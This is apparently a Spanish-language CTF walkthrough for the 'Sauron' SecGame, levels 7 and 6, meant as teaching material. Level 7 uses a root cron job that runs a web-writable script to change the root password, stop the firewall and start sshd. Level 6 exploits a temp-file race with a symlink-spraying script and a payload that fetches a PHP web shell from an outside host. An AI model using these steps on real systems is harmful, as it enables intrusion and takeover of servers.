SecGame #1: Sauron - Resolución Nivel 7

Saludos a todos los que habéis seguido esta resolución hasta el final, y a todos los que a partir de ahora useis estas pequeños tutoriales para cualquier menester que estimeis útil.

Vaya por delante decir que os agradecemos el interés mostrado, las dudas planteadas, y en definitiva que hayáis colaborado en la materialización de este proyecto. Gracias también a todos los que usáis nuestro SecGame como material didáctico en cursos, masters y otras formaciones a profesionales. Sin más, vamos ya con el nivel 7.

Como sabemos en este punto ( y por si lo hemos olvidado siempre podemos mirar el /etc/passwd ) el sistema contiene únicamente tiene 3 usuarios: blindware, intranet y developer. De estos, developer parece estar bastante al margen, y con los otros dos ya podemos ejecutar comandos. Únicamente, nos queda, pués, intentar conseguir acceso como root a este sistema.

Y aquí hacemos un paréntesis, en muchos sistemas al llegar a una situación como esta, únicamente tendremos la opción del exploit local para el kernel. En el caso que nos ocupa, y para hacerlo más didáctico, es posible obtener root, sin explotar nada a nivel de kernel.

Vaya por delante, que la explotación de este nivel requiere de paciencia, y de unir dos conceptos un poco “dispersos”. No llegamos a calificar su explotación de “idea feliz”, puesto que hay un camino lógico que permite hacerlo, pero desde luego, no es sencillo darse cuenta del mismo. A pesar de que pueda parecer un nivel diseñado ex profeso para el juego, este fallo de seguridad puede ser extrapolado, total o parcialmente, a sistemas reales en los que usuarios sin privilegios deben desempeñar tareas administrativas. Hecho el “disclaimer”, vamos a ver los pasos a dar para explotarlo.

Hasta el momento, hay algo bastante importante, que hemos obviado hacer, quizá por no necesitarlo: obtener los paths que contiene el servidor web. Dado que el directorio “/var/www” nos impide la lectura, es cuestión de hacer uso del fichero de configuración del propio apache, y del comando grep para obtener la información: cat /etc/httpd/conf/httpd.conf | grep /var/www. De esta forma obtendremos una información parecida a la siguiente:

DocumentRoot "/var/www/html"

Alias /icons/ "/var/www/icons/"


ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

# "/var/www/cgi-bin" should be changed to whatever your ScriptAliased


# /var/www/error/include/ files and

Alias /error/ "/var/www/error/"


DocumentRoot /var/www/blindware/htdocs

DocumentRoot /var/www/intranet/htdocs


En definitiva tenemos el siguiente listado de directorios: html, icons, cgi-bin, error, blindware/htdocs e intranet/htdocs dentro del directorio /var/www/.

A continuación, debemos verificar los permisos que tenemos sobre cada uno de esos directorios, haciendo uso de un simple "ls -la", encontrando una "pequeña" sorpresa:

/var/www/cgi-bin:

total 16

drwxr-x--- 2 intranet apache 4096 Jun 22 20:06 .

d--x--x--x 8 root root 4096 May 12 13:52 ..

El directorio /var/www/cgi-bin es propiedad del usuario intranet. Este error, que rara vez se da en entornos altamente estructurados, como puede ser un proveedor de hosting, donde los usuarios tienen unos permisos predefinidos, es más frecuente de lo que parece en otros entornos de producción, por ejemplo grandes empresas u organismos públicos de gran tamaño, donde se dan cambios relativamente frecuentes, donde se necesita compartir información entre usuarios, y donde el nivel de seguridad local, con el paso del tiempo, de las necesidades, y de las distintas modificaciones, queda mermado.

Este fallo, concretamente, nos permite ganar la ejecución de comandos otro usuario: apache. ¿Cómo? Si recordamos, al principio de estas resoluciones, dijimos que al menos 3 hosts, estaban siendo servidos por apache, uno era www.blindware.inc, otro intranet.blindware.inc, y un tercero, el servido mediante https. Pues bien, el servicio HTTPS tiene su directorio CGI en /var/www/cgi-bin/.

Por tanto, únicamente deberemos realizar una copia de la shell en PHP que tengamos en el sistema para ejecutar comandos a ese directorio, para empezar a ejecutar comandos con nuestras nuevas credenciales: uid=48(apache) gid=48(apache) groups=48(apache)

A partir de aquí es cuestión de paciencia, y de ser capaces de revisar los servicios activos en el sistema, buscando una vulnerabilidad de configuración, para ello podemos hacer uso del comando "ps", de listar los servicios con "chkconfig", o de pasearnos por el "init.d". El hecho es que si paulatinamente vamos revisando (versiones y ficheros de configuración) de todos los servicios activos: syslog, mysql, cron, anacron, sendmail, etc ( algo que es bastante tedioso, todo sea dicho )
encontraremos lo siguiente dentro de la configuración del demonio cron, en el fichero crontab:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
* * * * * root run-parts /etc/cron.every
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

Hay una entrada “cron.every”, que no es natural en estos sistemas, no obstante, aunque no la hubiese, lo normal sería revisar cada uno de los directorios y ver qué se ejecuta en ellos.

/etc/cron.every:

total 4

lrwxrwxrwx 1 root root 22 May 16 20:10 www.do -> /var/www/html/doit.txt


En negrita hemos resaltado la vulnerabilidad. Si no fijamos, cron.every, ejecuta cada minuto el script localizado en /var/www/html/doit.txt cuyos permisos son los siguientes:

total 12
-rwxr-xr-x 1 apache apache 124 May 16 20:12 doit.txt
-rw-r--r-- 1 apache apache 0 May 12 21:15 index.html

El fallo, contrario a cualquier criterio de buenas prácticas, radica en haber enlazado un proceso administrativo con privilegios de root a un script que bajo determinadas circunstancias, por muy remotas que estas sean, puede ser controlado por un usuario ajeno a root.

A partir de aquí, vamos a ver el proceso para obtener la cuenta de root, vaya por delante que es únicamente una demostración de concepto, y desde luego, no es precisamente la forma más sutil de obtenerlo.

Primero, añadiremos una línea al fichero doit.txt y tendremos cambiada la contraseña de root del sistema, a r00t3d. Para eso ejecutamos el siguiente comando (urlencodeado):

echo+%22echo+root%3Ar00t3d+%7C+%2Fusr%2Fsbin%2Fchpasswd%22+%3E+%2Fvar
%2Fwww%2Fhtml%2Fdoit.txt


Por último y para concluir, deshabilitamos el firewall del sistema y habilitamos ssh, con lo que conseguiremos un acceso remoto:

Deshabilitar FW:
echo+%22%2Fetc%2Finit.d%2Fiptables+stop%22+%3E+%2F
var%2Fwww%2Fhtml%2Fdoit.txt


Habilitar SSHD:
echo+%22%2Fetc%2Finit.d%2Fsshd+start%22+%3E+%2F
var%2Fwww%2Fhtml%2Fdoit.txt

Conectamos y aquí tenemos el resultado:

[root@sauron ~]# id
uid=0(root) gid=0(root) grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Poco más, enhorabuena a todos los que hayáis conseguido superar el reto planteado con Sauron, y enhorabuena también a todos los que aunque no lo hayáis superado hayáis mejorado vuestros conocimientos y habilidades. Hasta el siguiente SecGame y hasta nuevos proyectos que lanzaremos en breve y esperamos sean de vuestro interés.

SecGame #1: Sauron - Resolución Nivel 6

Saludos nuevamente,

nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.

En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero "moved.html", nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.

Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.

De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.

Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).

De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:

1. Únicamente 2 ficheros producen salidas a disco

2. Únicamente 1 fichero admite entradas de usuario

Vamos a revisar el código fuente de estos 2 ficheros.

PhoneBook

#!/bin/sh

# Phonebook example as shell script

phonebook=sh_phone.dat

function phonebook_add
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi
if [ -z "$value2" ]; then
echo "Phone is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" = "" ]; then
echo "$value1 $value2" >>$phonebook
if [ $? ]; then
echo "Entry $value1 added successfully!"
else
echo "Unable to add to $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 already exists!"
fi
}
function phonebook_delete
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
mv $phonebook $phonebook.tmp
grep -v $value1 $phonebook.tmp >$phonebook
if [ $? ]; then
echo "Entry $value1 deleted successfully!"
else
echo "Unable to delete from $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 not found in the phonebook."
fi
}

function phonebook_search
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
name=`echo "$entry" | cut -f1 -d' '`
phone=`echo "$entry" | cut -f2 -d' '`
echo "Name = $name\nPhone = $phone"
else
echo "Entry $value1 not found in the phonebook."
fi
}

# Main program

# send the MIME header first
echo "Content-type: text/plain"
echo

# get the length of the cgi content
# not used here since read can read free form input
# echo "CONTENT_LENGTH = $CONTENT_LENGTH"

# read the cgi content
read cgiStr
# echo "input read = $cgiStr"

# process the received input string
# first split cgiStr using the '&' as separator
field1Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field2Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field3Encoded="$cgiStr"

# decode the string
# change '+'s to ' 's
# translate hex characters - not implemented here
field1=`echo $field1Encoded | tr '+' ' '`
field2=`echo $field2Encoded | tr '+' ' '`
field3=`echo $field3Encoded | tr '+' ' '`

# split the string into name and value
# name1=${field1%=*}
value1="${field1#*=}"
# name2=${field2%=*}
value2="${field2#*=}"
# name3=${field3%=*}
value3="${field3#*=}"
# value3 has an extra character at the end because of the free form read
# echo :$value3: $value1 $value2
# call appropriate function depending on ACTION
if [ "${value3#ADD}" != "$value3" ]; then
phonebook_add
elif [ "${value3#DELETE}" != "$value3" ]; then
phonebook_delete
else
phonebook_search
fi

do_passv.cgi

#!/bin/sh

rm /tmp/tmp_*

TMP_NAME="/tmp/tmp_"`echo $RANDOM | md5sum | cut -f1 -d" "`

wget -O $TMP_NAME --no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null

chmod +x $TMP_NAME

exec $TMP_NAME


Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.

Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.

Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.

Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.

Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:

o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.

o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.

Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:
tmpfs on /tmp type tmpfs (rw,size=4M)

Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.

Filesystem Inodes IUsed IFree IUse% Mounted on
tmpfs 15674 8 15666 1% /tmp

Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.

#!/bin/bash

MINNUM=1;

MAXNUM=15666;


for number in `seq $MINNUM $MAXNUM`; do

TMP_NAME="/tmp/tmp_"`echo $number | md5sum | cut -f1 -d" "`

ln -s /tmp/exploit $TMP_NAME

done


El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:

#!/bin/bash


wget http://IP/shell.txt

cp shell.txt /var/www/intranet/htdocs/shell.php

chmod +x /var/www/intranet/htdocs/shell.php


En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.

Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.

Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.

Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:

o http://intranet.blindware.inc/cgi-bak/do_passv.cgi

Si la explotación falla obtendremos el resultado típico:

> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)
> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42
> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php

Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:

o uid=501(intranet) gid=501(intranet) groups=501(intranet)

Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!